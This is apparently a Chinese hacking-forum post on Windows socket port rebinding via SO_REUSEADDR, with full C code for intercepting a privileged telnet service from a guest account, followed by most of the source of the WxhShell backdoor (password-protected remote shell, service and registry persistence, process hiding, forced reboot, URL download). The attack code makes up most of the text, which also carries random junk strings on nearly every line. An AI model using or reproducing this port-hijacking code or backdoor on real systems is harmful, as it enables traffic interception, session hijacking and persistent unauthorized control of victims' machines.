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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: EyV6uk~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q)]S:$?BT  
@oFuX.  
  saddr.sin_family = AF_INET; ] -G~  
gR k+KGKn<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0f,Ii_k bT  
<:~'s]`zf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d'p@[1/  
*)i+c{~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lUHpGr|U%  
Il!#]  
  这意味着什么?意味着可以进行如下的攻击: TzsNhrU{  
k7bfgb {  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3 yM!BTlX  
"C]_pWk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0EUC8Ni  
'>UQsAvm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PL7_j  
Yn-;+ 4 K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |A:+[35  
"@&I*1&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YGkk"gFIA  
~)!vhdBe  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [1.>9ngj  
](^BQc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 iR4!X()  
t%30B^Ii%K  
  #include 2@pEuB3$?!  
  #include 2L?Pw   
  #include B6]M\4v  
  #include    ]a\HgFp@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   uJ%XF*>_D  
  int main() yv.(Oy  
  { QCvst*  
  WORD wVersionRequested; = p$:vW  
  DWORD ret; |FZIUS{]  
  WSADATA wsaData; (\$=+' hy  
  BOOL val; G+jcR; s  
  SOCKADDR_IN saddr; yA-UXKT  
  SOCKADDR_IN scaddr; %hb!1I  
  int err; RhumNP<M  
  SOCKET s; Ec|5'Kz]  
  SOCKET sc; r`d.Wy Zj  
  int caddsize; OeY+Yt0  
  HANDLE mt; ?L6ACi`9  
  DWORD tid;   R>`TV(W`9  
  wVersionRequested = MAKEWORD( 2, 2 ); r!O4]j_3  
  err = WSAStartup( wVersionRequested, &wsaData ); ;O * o  
  if ( err != 0 ) { GZNfx8zsY+  
  printf("error!WSAStartup failed!\n"); Dq~D4|  
  return -1; !\N|$-M  
  } FLOSdMYdw  
  saddr.sin_family = AF_INET; T~-PT39E  
   W8s/"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h%(0|  
HXRK<6k$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <}^l MBa  
  saddr.sin_port = htons(23); ? Eh)JJt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /N\[ C"8  
  { uHpSE?y/  
  printf("error!socket failed!\n"); Ke,$3Yx  
  return -1; ;PG,0R`Z;  
  } aG/L'weR  
  val = TRUE; j?9fb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4Nz]LK%@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \J3n[6;  
  { K@+(6\6I  
  printf("error!setsockopt failed!\n"); rJ_fg$.<  
  return -1; +#0,2 wR#  
  } ttC+`0+H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~:lN("9OI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }e0)=*;l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Zk75GC  
,[0rh%%j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) eXZH#K7S#  
  { A;#GU`  
  ret=GetLastError(); $sR-J'EE!  
  printf("error!bind failed!\n"); 4 | DGQ  
  return -1; MbeO(Q  
  } Xw[|$#QKM  
  listen(s,2); ?*)wQZt;  
  while(1) 8gI~x.k`  
  { G[!Y6c 3  
  caddsize = sizeof(scaddr); Mny mV;y"  
  //接受连接请求 Y'%k G5nF  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G/5]0]SO  
  if(sc!=INVALID_SOCKET) m;"dLUb  
  { f8?c[%br  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (xhV>hsA  
  if(mt==NULL) dGBVkb4]T  
  { >J No2  
  printf("Thread Creat Failed!\n"); 7e D<(  
  break; 9a0ibN6m  
  } d 1bx5U  
  } dTW3mF4=  
  CloseHandle(mt); q2KWSh5  
  } $mp'/]  
  closesocket(s); Ik74%x7G`  
  WSACleanup(); b(.,Ex]  
  return 0; orzy &4  
  }   5 NdIbC  
  DWORD WINAPI ClientThread(LPVOID lpParam) p[lciWEW  
  { V57tn6 >b  
  SOCKET ss = (SOCKET)lpParam; QUU'/e2^c  
  SOCKET sc; &lYe  
  unsigned char buf[4096]; *wetPt)~v_  
  SOCKADDR_IN saddr; j9Y'HU5"  
  long num; &DgJu.  
  DWORD val; qC aM]Y  
  DWORD ret; kan4P@XVS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m6=Jp<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =ADdfuKN  
  saddr.sin_family = AF_INET; L 2:N@TP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); RTR@p =ck  
  saddr.sin_port = htons(23); )w3HC($g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5L8)w5   
  {  zL,B?  
  printf("error!socket failed!\n"); Us*"g{PQ  
  return -1; &;O)Dw  
  } IrZ!.5%tV  
  val = 100; urK[v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dNMz(~A[Y  
  { zU$S#4/C  
  ret = GetLastError(); t*'U|K4L/  
  return -1; Ei[>%Ah  
  } }yW*vy6`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b4HUgW3Ac  
  { $-:j'e:j  
  ret = GetLastError(); pl.K*9+  
  return -1; rWo&I _{  
  } ?pJUbZ#J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;jgJI~3l  
  { zU1[+JJY"{  
  printf("error!socket connect failed!\n"); @ s2<y@  
  closesocket(sc); M:? :EJ  
  closesocket(ss); [C"[#7  
  return -1;  H*]B7?S  
  } `K^j:fE7n  
  while(1) {KO +t7'Q  
  { PLmf.hD\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x.OCE`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t$W~X~//  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 R%Y#vUmBV{  
  num = recv(ss,buf,4096,0); ;.<0lnV  
  if(num>0) $ }D9)&f;  
  send(sc,buf,num,0); yxt `  
  else if(num==0) CkJ\v%JAW  
  break; c<gvUVHIxR  
  num = recv(sc,buf,4096,0); _PR> <L_  
  if(num>0) OAhCW*B  
  send(ss,buf,num,0); bq<DW/  
  else if(num==0) .%rB-vO:g  
  break; ,:e##g~k  
  } If*t$f>y4N  
  closesocket(ss); LgX"Qk&Ca  
  closesocket(sc); dLs40 -R  
  return 0 ; A=5A8B1  
  } jK{)gO  
iEJY[P1  
(3>Z NTm  
========================================================== f(o1J|U{  
2 Xt$KF,?  
下边附上一个代码,,WXhSHELL ;ESuj'*t  
C=z7Gk=  
========================================================== SqF9#&F  
9<ev]XaSl  
#include "stdafx.h" rprtp5Cg  
C {GSf`D!T  
#include <stdio.h> -`o22G3w  
#include <string.h> ?xbPdG":R  
#include <windows.h> ma<+!*|   
#include <winsock2.h> [e:mRMi  
#include <winsvc.h> [aK7v{Wu  
#include <urlmon.h> ??!+2G#%!  
' N@1+v=  
#pragma comment (lib, "Ws2_32.lib") ]hxE^/87  
#pragma comment (lib, "urlmon.lib") ,%FBELqOW  
P,ox) )+6  
#define MAX_USER   100 // 最大客户端连接数 E9L)dMZSpj  
#define BUF_SOCK   200 // sock buffer *Q@%< R  
#define KEY_BUFF   255 // 输入 buffer ^mu?V-4  
>lRa},5(  
#define REBOOT     0   // 重启 HJn  
#define SHUTDOWN   1   // 关机 Z,~EH  
,`3kDqS_4  
#define DEF_PORT   5000 // 监听端口 FYe(S V(9  
k>8,/ AZd  
#define REG_LEN     16   // 注册表键长度 5+gSpg]i  
#define SVC_LEN     80   // NT服务名长度 Q[+o\{ O  
x-:a5Kz!  
// 从dll定义API `zjEs8`'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,c%>M^d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7n1@m_7O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )K4A-9pC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j(`L)/|O  
)4hb%U  
// wxhshell配置信息 )@ /!B`  
struct WSCFG { =3Y:DPMB  
  int ws_port;         // 监听端口 yX:*TK4  
  char ws_passstr[REG_LEN]; // 口令 O+Zt*jN;  
  int ws_autoins;       // 安装标记, 1=yes 0=no 39w|2%(O.  
  char ws_regname[REG_LEN]; // 注册表键名 GJLlMi  
  char ws_svcname[REG_LEN]; // 服务名 _IA@X. )?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XL/?v" /  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `(r [BV|h}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gsqpQq7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yJ(p-3O5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M mjeFv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RE72%w(oM  
Hvn{aLa.  
}; nH#|]gVI  
K&t+3O  
// default Wxhshell configuration 4&Q.6HkL  
struct WSCFG wscfg={DEF_PORT, O;u&>BMk  
    "xuhuanlingzhe", ~"E@do("  
    1, yX}riXe  
    "Wxhshell", a]<y*N?qu  
    "Wxhshell", o2FQ/EIE  
            "WxhShell Service", v>2gx1F"?  
    "Wrsky Windows CmdShell Service", |G+6R-_  
    "Please Input Your Password: ", iI2 7N'g  
  1, liW0v!jBo  
  "http://www.wrsky.com/wxhshell.exe", qeK_w '  
  "Wxhshell.exe" 1CkBfK  
    }; 0i[,`>-Av  
,Qgxf';+$  
// 消息定义模块 >Jl(9)e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ix;9D'^}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W?5u O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q F \a]e  
char *msg_ws_ext="\n\rExit."; 7j&iHL  
char *msg_ws_end="\n\rQuit."; #|\NG  
char *msg_ws_boot="\n\rReboot..."; nV|H5i;N7  
char *msg_ws_poff="\n\rShutdown..."; K[%)_KW  
char *msg_ws_down="\n\rSave to "; TNA?fm  
1 rr\l`  
char *msg_ws_err="\n\rErr!"; f\W1u#;u)  
char *msg_ws_ok="\n\rOK!"; (RP"VEVR  
B?qLXRv  
char ExeFile[MAX_PATH]; Jl-Lz03YG  
int nUser = 0;  Pa .D+  
HANDLE handles[MAX_USER]; OC$Y8Ofr  
int OsIsNt; pg\Ylk"T  
6dG:3n}  
SERVICE_STATUS       serviceStatus; ##gq{hgjb$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a&6e~E$K2  
JmJ8s hq  
// 函数声明 J1waiOh  
int Install(void); ,4bqjkX5q  
int Uninstall(void); "T`Q,  
int DownloadFile(char *sURL, SOCKET wsh); xwZcO  
int Boot(int flag); 28KS*5S  
void HideProc(void);  a=<l}`*  
int GetOsVer(void); Le&SN7I  
int Wxhshell(SOCKET wsl); r sf +dC  
void TalkWithClient(void *cs); <1H bjR w  
int CmdShell(SOCKET sock); Jww LAQ5  
int StartFromService(void); !TJCQ[Aa }  
int StartWxhshell(LPSTR lpCmdLine); v !~lVv&  
oUMY?[Wp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jY>BU&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sx;7  
G@Z,Hbgm  
// 数据结构和表定义 wf4?{H  
SERVICE_TABLE_ENTRY DispatchTable[] = prf  
{ R<}n?f\#JZ  
{wscfg.ws_svcname, NTServiceMain}, }B{bM<dF  
{NULL, NULL} +Ar=89  
}; "~y@rqIba  
qNI2+<u)j  
// 自我安装 ('qu#.'  
int Install(void) y$=$Yc&Ub  
{ uqaP\  
  char svExeFile[MAX_PATH]; q[l!kC+Eh  
  HKEY key; \,<5U F0  
  strcpy(svExeFile,ExeFile); -nbo[K  
i%m]<yElm  
// 如果是win9x系统,修改注册表设为自启动 kW"6Gc&HUN  
if(!OsIsNt) { ;++CMTza]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5&WYL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ).[Mnt/Ft  
  RegCloseKey(key); ~J}{'l1{yf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eyq8wQT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q`nsL)J  
  RegCloseKey(key); =2[5 g!qX  
  return 0; '.jr" 3u  
    } J?d&+mt  
  } KZFnp=i  
} (Sr D  
else { D -Goi-4  
!,f{I5/  
// 如果是NT以上系统,安装为系统服务 P&Vqr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :x*|?zII  
if (schSCManager!=0) ^l}Esz`-M  
{ N=e-"8  
  SC_HANDLE schService = CreateService dg9 DBn#  
  ( 0_d,sC?V  
  schSCManager, )/BI :)  
  wscfg.ws_svcname, `N8?F3>  
  wscfg.ws_svcdisp, C-Q]f  
  SERVICE_ALL_ACCESS, >7yOu!l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >syQDB  
  SERVICE_AUTO_START, HmWU;9Vn+  
  SERVICE_ERROR_NORMAL, h,-8( S  
  svExeFile, s8,N9o[.~P  
  NULL, [42vO  
  NULL, P`JO6O:&  
  NULL, kPt9(E]  
  NULL, yi7m!+D3  
  NULL Z x9oj  
  ); dd+[FU  
  if (schService!=0) =YZyH4eI  
  { 1Ner1EKGp  
  CloseServiceHandle(schService); a1lF8;[  
  CloseServiceHandle(schSCManager); os|Y=a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NdpcfZ q  
  strcat(svExeFile,wscfg.ws_svcname); RrMC[2=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iGG;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MdzG2uZT  
  RegCloseKey(key); /s91[n(d  
  return 0; }pP<+U  
    } 9G7lPK  
  } +8tdAw  
  CloseServiceHandle(schSCManager); 86[/NTD<-  
} ,2H@xji [  
} :JBvCyj4PE  
Qqt<  
return 1; %nU8 Ca  
} 9.F+)y@  
F$l]#G.@A  
// 自我卸载 K!|%mI8gk  
int Uninstall(void) wB(A['k  
{ uWs5 +  
  HKEY key; e K%~`Y  
ich\`j[i  
if(!OsIsNt) { cR 0+`&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K OZHz`1!  
  RegDeleteValue(key,wscfg.ws_regname); {fi:]|<1h  
  RegCloseKey(key); W'f{u&<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ey5E1$w%&  
  RegDeleteValue(key,wscfg.ws_regname); &&Sl0(6x[T  
  RegCloseKey(key); A"wor\(  
  return 0; YQU #aOl  
  } ET ;=o+\d  
} d,r%LjNI  
} {-28%  
else { P'^#I[G'  
&"^,Ubfcn"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m"MTw@}SJ;  
if (schSCManager!=0) 9(.P2yO  
{ 4~<  :Pj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &. sfu$]  
  if (schService!=0) M" |Mte  
  { B+y r 6Q.  
  if(DeleteService(schService)!=0) { 39s%CcI`k  
  CloseServiceHandle(schService); ifA{E}fRZP  
  CloseServiceHandle(schSCManager); Zj )Bd* a  
  return 0; Gy*6I)l  
  } hhu !'(j  
  CloseServiceHandle(schService); Isa]5>  
  } *ujn+0)[  
  CloseServiceHandle(schSCManager); `WDN T0@M  
} _e/>CiN/  
} 0QE2e'}}-  
J%ym1A9  
return 1; uj@rv&  
} ,z6&k   
t/? x#X  
// 从指定url下载文件 VGLE5lP X  
int DownloadFile(char *sURL, SOCKET wsh) (h NSzG\  
{ _<?lP$Xr  
  HRESULT hr; 92}UP=RW!  
char seps[]= "/"; a0y7a/@c  
char *token; Vj^<V|=  
char *file; e<_p\LiOS  
char myURL[MAX_PATH]; :G#>):  
char myFILE[MAX_PATH]; vAW+ ,Rfj  
,(0q  
strcpy(myURL,sURL); cC'{+j8-a  
  token=strtok(myURL,seps); h(aF>a\Z  
  while(token!=NULL) KNtsz[#b  
  { nK*$P +[R  
    file=token; l@-J&qG  
  token=strtok(NULL,seps); OSc&n>\t  
  } cnh\K.*}_x  
]V!q"|  
GetCurrentDirectory(MAX_PATH,myFILE); ~`Q8)(y<#$  
strcat(myFILE, "\\"); ^cO^3=  
strcat(myFILE, file); &P Ru[!  
  send(wsh,myFILE,strlen(myFILE),0); <&3qFK*9r  
send(wsh,"...",3,0); !|P>%bi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \wY? 6#;  
  if(hr==S_OK) 2+pLDIIT  
return 0; Gq4~9Tm)*  
else =y" lX{}G  
return 1; @}&o(q1M0  
>mzK96  
} a%2r]:?^?  
K-V NU  
// 系统电源模块 Yc+0OBH[  
int Boot(int flag) #`P4s>IL1  
{ V9 <!pMj  
  HANDLE hToken; %zg&eFRHI  
  TOKEN_PRIVILEGES tkp; 31b9pi}nf  
/JPyADi  
  if(OsIsNt) { "g7`Ytln  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .@{W6 /I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9N^&~O|1  
    tkp.PrivilegeCount = 1; zItf>j7|Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !2oe;q2X[G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }0Isi G  
if(flag==REBOOT) { so h3 d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fxwe,  
  return 0; '\ec ,&4Z  
} "y@B|  
else { |sWH!:]49  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,]e!OZ[$m  
  return 0; /M>8ad  
} M~Tq'>Fn  
  } <'H^}gQow  
  else { #&vP(4p  
if(flag==REBOOT) { _iBNy   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i>gbT+*E!  
  return 0; GJW>8*&&(  
} mVGQyX  
else { A@^e 4\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /I~iUND"G  
  return 0; @A(*&PU>j  
} HpI[Af}l  
} mq@2zE`.(  
@D%H-X  
return 1; < \]o#w*:  
} xcO Si>  
m_~!Lj[u.  
// win9x进程隐藏模块 E )D*~2o/  
void HideProc(void) xk=5q|u_-  
{ r=[T5,L(s  
e2|2$|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f1F#U @U  
  if ( hKernel != NULL ) $5aRu,  
  { T 'pX)ZH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Kx.I'_Qk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =\Td~>  
    FreeLibrary(hKernel); =s"_! 7  
  } 6Zwrk-,A  
(Nd5VuI  
return; l0Wp%T  
} "#x<>a )O\  
WXP=U^5Si  
// 获取操作系统版本 ;RNU`I p  
int GetOsVer(void) F"xD^<i  
{ =}5;rK  
  OSVERSIONINFO winfo; Gz;.?=&iF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +ZeHZjd  
  GetVersionEx(&winfo); 'Dyt"wfo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?<c)r~9]  
  return 1; Y9fktg.  
  else 8"R; axeD  
  return 0; \nM$qr'`B  
}  6jFc'  
C*kGB(H7  
// 客户端句柄模块 &6nOCU)  
int Wxhshell(SOCKET wsl) zSMN k AM  
{ Ndq|Hkd  
  SOCKET wsh; ML?%s`   
  struct sockaddr_in client; e W&;r&26  
  DWORD myID; cA_77#<8  
mZ sftby}  
  while(nUser<MAX_USER) /Y("Q#Ueq  
{ )`?Es8uW  
  int nSize=sizeof(client); +$M%"=tk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qQC<oR  
  if(wsh==INVALID_SOCKET) return 1; E,,)?^g  
tW;?4}JR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kxU <?0  
if(handles[nUser]==0) isK~=  
  closesocket(wsh); rnWU[U8%  
else "HTp1  
  nUser++; -.= q6N4  
  } [*ylC,w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jO\29(_  
 ?CKINN  
  return 0; *'=JT#  
} a=bP   
~`M>&E@Y_/  
// 关闭 socket (h>Jz  
void CloseIt(SOCKET wsh) 37'@,*m`  
{ 6#P\DT  
closesocket(wsh); qUX   
nUser--; $ )ps~  
ExitThread(0); sU"D%G  
} %''z~LzJ8  
rug^_d=B  
// 客户端请求句柄 K 8CjZpzq  
void TalkWithClient(void *cs) `WvNN>R  
{ K 2PV^Y  
Q7oJ4rIP  
  SOCKET wsh=(SOCKET)cs; <I .p{Z  
  char pwd[SVC_LEN]; rJi;"xF8  
  char cmd[KEY_BUFF]; 2*:lFv wP  
char chr[1]; 1jU<]09.  
int i,j; +!9&E{pmo  
^zn j J\  
  while (nUser < MAX_USER) { 5zXw0_  
_[}r2,e  
if(wscfg.ws_passstr) { t]1j4S"pm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6||zwwk'.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #|'&%n|Z  
  //ZeroMemory(pwd,KEY_BUFF); i-oi?x<u&(  
      i=0; KfpDPwP@  
  while(i<SVC_LEN) { OU+oS,  
m[S6pqz  
  // 设置超时 kb<Nuw  
  fd_set FdRead; u=B_cA}:  
  struct timeval TimeOut; QF:">G  
  FD_ZERO(&FdRead); H'68K8i0  
  FD_SET(wsh,&FdRead); p] kpDx[9  
  TimeOut.tv_sec=8; ?d`?Ss;v  
  TimeOut.tv_usec=0; ZzfGs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |0nbO2}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .])ubK_9  
gI rVrAV#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {6Tw+/`P  
  pwd=chr[0]; X51pRP $R  
  if(chr[0]==0xd || chr[0]==0xa) { 7MIu-x|  
  pwd=0; !%b.k6%>w  
  break; Pe@M_ r  
  } Qd"{2>  
  i++; m[&]#K6  
    } G4g <PFx  
K%9PIqK?4  
  // 如果是非法用户,关闭 socket Ep-{Ew{T_=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v w$VR PW  
} .&d]7@!qy  
|@pJ]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gs$<r~Tg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F, {M!dL  
F. X{(8  
while(1) { M##h<3I  
zRtaO'G(  
  ZeroMemory(cmd,KEY_BUFF); "<b~pfCOQk  
\.p{~ Hv  
      // 自动支持客户端 telnet标准   V#jFjObTN  
  j=0; {'dpRq{c|  
  while(j<KEY_BUFF) { |aef$f5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P1DYjm[+D  
  cmd[j]=chr[0]; Ro :/J  
  if(chr[0]==0xa || chr[0]==0xd) { CpHF3o`Z6  
  cmd[j]=0; H?tonG.^(  
  break; Kd}cf0  
  } R?3^Kx  
  j++; S N_!o2F2  
    } ^S!^$d*  
sl^i%xJ|l'  
  // 下载文件 ~5$V8yfx h  
  if(strstr(cmd,"http://")) { )qs>Z?7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X~XpX7d!  
  if(DownloadFile(cmd,wsh))  4"72  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *=i|E7Irg  
  else 7M#2Tze}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5`,qKJ  
  } !` S ?  
  else { %.,-dV'  
RE/'E?G  
    switch(cmd[0]) { ` oN~  
  w^tNYN,i  
  // 帮助 lC&U9=7W  
  case '?': { $/ ;:Xb=q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g[fCvWm#d  
    break; [.;$6C/?  
  } f h05*]r  
  // 安装 IT& U%hw  
  case 'i': { n1K"VjZk  
    if(Install()) g(xuA^~J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w J FEua  
    else 5]cmDk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [?u iM^&  
    break; , Zs:e.  
    } GKdQ  
  // 卸载 vy W/f  
  case 'r': { 1zNH[   
    if(Uninstall()) # JHicx\8l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zOA{S~>  
    else nWpqAb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /h'V1zL#  
    break; oLVy?M%{P  
    } H%NP4pK  
  // 显示 wxhshell 所在路径 B$A`-  
  case 'p': { Lf_`8Ux  
    char svExeFile[MAX_PATH]; 8 _0j^oh  
    strcpy(svExeFile,"\n\r"); wN/d J  
      strcat(svExeFile,ExeFile); o>x*_4[  
        send(wsh,svExeFile,strlen(svExeFile),0); @czNiWU"4;  
    break; .Ymoh>JRL  
    } @!/w'k 8  
  // 重启 vU&I,:72 H  
  case 'b': { )70-q yA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `*nVLtT Y  
    if(Boot(REBOOT)) WP-?C<Iw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N{v <z 6  
    else { 6jjmrc[#}X  
    closesocket(wsh); >#).3  
    ExitThread(0); (Qmpz  
    } ju#/ {V;D  
    break; GkqKIs  
    } 9:zW$Gt&  
  // 关机 |x*~PXb  
  case 'd': { ` MIZqHM @  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SSO F\  
